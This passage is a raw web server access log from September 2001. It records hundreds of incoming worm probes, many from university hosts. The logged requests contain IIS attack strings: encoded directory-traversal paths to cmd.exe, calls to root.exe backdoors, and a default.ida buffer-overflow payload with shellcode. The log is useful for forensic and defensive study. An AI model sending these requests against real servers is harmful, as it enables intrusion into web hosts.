  4816. 20010918 16:17:04: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4817. 20010918 16:17:05: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4818. 20010918 16:17:05: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4819. 20010918 16:17:05: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4820. 20010918 16:17:06: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4821. 20010918 16:17:06: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4822. 20010918 16:17:06: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4823. 20010918 16:17:07: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4824. 20010918 16:17:07: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4825. 20010918 16:17:08: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4826. 20010918 16:17:08: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4827. 20010918 16:17:08: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4828. 20010918 16:17:09: PPI283.UNI-MUENSTER.DE [128.176.198.136] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4829. 20010918 16:17:09: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4830. 20010918 16:18:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4831. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4832. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4833. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4834. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4835. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4836. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4837. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4838. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4839. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4840. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4841. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4842. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4843. 20010918 16:18:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4844. 20010918 16:18:13: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4845. 20010918 16:18:13: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4846. 20010918 16:18:13: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4847. 20010918 16:18:15: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4848. 20010918 16:18:20: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4849. 20010918 16:18:25: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4850. 20010918 16:18:31: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4851. 20010918 16:18:36: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4852. 20010918 16:18:40: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4853. 20010918 16:18:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4854. 20010918 16:19:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4855. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4856. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4857. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4858. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4859. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4860. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4861. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4862. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4863. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4864. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4865. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4866. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4867. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4868. 20010918 16:22:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4869. 20010918 16:22:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4870. 20010918 16:22:05:  [128.134.249.139] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4871. 20010918 16:24:13: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4872. 20010918 16:25:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4873. 20010918 16:26:31: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4874. 20010918 16:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4875. 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4876. 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4877. 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4878. 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4879. 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4880. 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4881. 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4882. 20010918 16:26:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4883. 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4884. 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4885. 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4886. 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4887. 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4888. 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4889. 20010918 16:26:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4890. 20010918 16:26:51: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4891. 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4892. 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4893. 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4894. 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4895. 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4896. 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4897. 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4898. 20010918 16:27:53: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4899. 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4900. 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4901. 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4902. 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4903. 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4904. 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4905. 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4906. 20010918 16:27:54: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4907. 20010918 16:27:55:  [209.208.184.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4908. 20010918 16:29:01:  [128.121.246.52] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4909. 20010918 16:29:43:  [128.121.246.52] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4910. 20010918 16:30:01:  [128.121.246.52] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4911. 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4912. 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4913. 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4914. 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4915. 20010918 16:30:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4916. 20010918 16:30:23:  [128.121.246.52] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4917. 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4918. 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4919. 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4920. 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4921. 20010918 16:30:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4922. 20010918 16:30:41:  [128.121.246.52] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4923. 20010918 16:31:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4924. 20010918 16:31:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4925. 20010918 16:31:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4926. 20010918 16:31:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4927. 20010918 16:31:00:  [128.121.246.52] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4928. 20010918 16:31:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4929. 20010918 16:31:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4930. 20010918 16:31:18:  [128.121.246.52] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4931. 20010918 16:31:36:  [128.121.246.52] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4932. 20010918 16:31:55: cc.ucsf.edu [128.218.159.27] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4933. 20010918 16:31:55:  [128.121.246.52] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4934. 20010918 16:32:14: cc.ucsf.edu [128.218.159.27] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4935. 20010918 16:32:14: cc.ucsf.edu [128.218.159.27] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4936. 20010918 16:32:14: cc.ucsf.edu [128.218.159.27] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4937. 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4938. 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4939. 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4940. 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4941. 20010918 16:32:15: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4942. 20010918 16:32:16: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4943. 20010918 16:32:16: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4944. 20010918 16:32:16: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4945. 20010918 16:32:16: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4946. 20010918 16:32:17: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4947. 20010918 16:32:17:  [128.121.246.52] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4948. 20010918 16:32:36: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4949. 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4950. 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4951. 20010918 16:32:36: cc.ucsf.edu [128.218.159.27] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4952. 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4953. 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4954. 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4955. 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4956. 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4957. 20010918 16:32:36: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4958. 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4959. 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4960. 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4961. 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4962. 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4963. 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4964. 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4965. 20010918 16:32:37: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4966. 20010918 16:32:37:  [128.121.246.52] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4967. 20010918 16:32:57:  [128.121.246.52] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4968. 20010918 16:33:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4969. 20010918 16:33:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4970. 20010918 16:33:16:  [128.121.246.52] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4971. 20010918 16:33:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4972. 20010918 16:33:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4973. 20010918 16:33:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4974. 20010918 16:33:37:  [128.121.246.52] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4975. 20010918 16:33:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
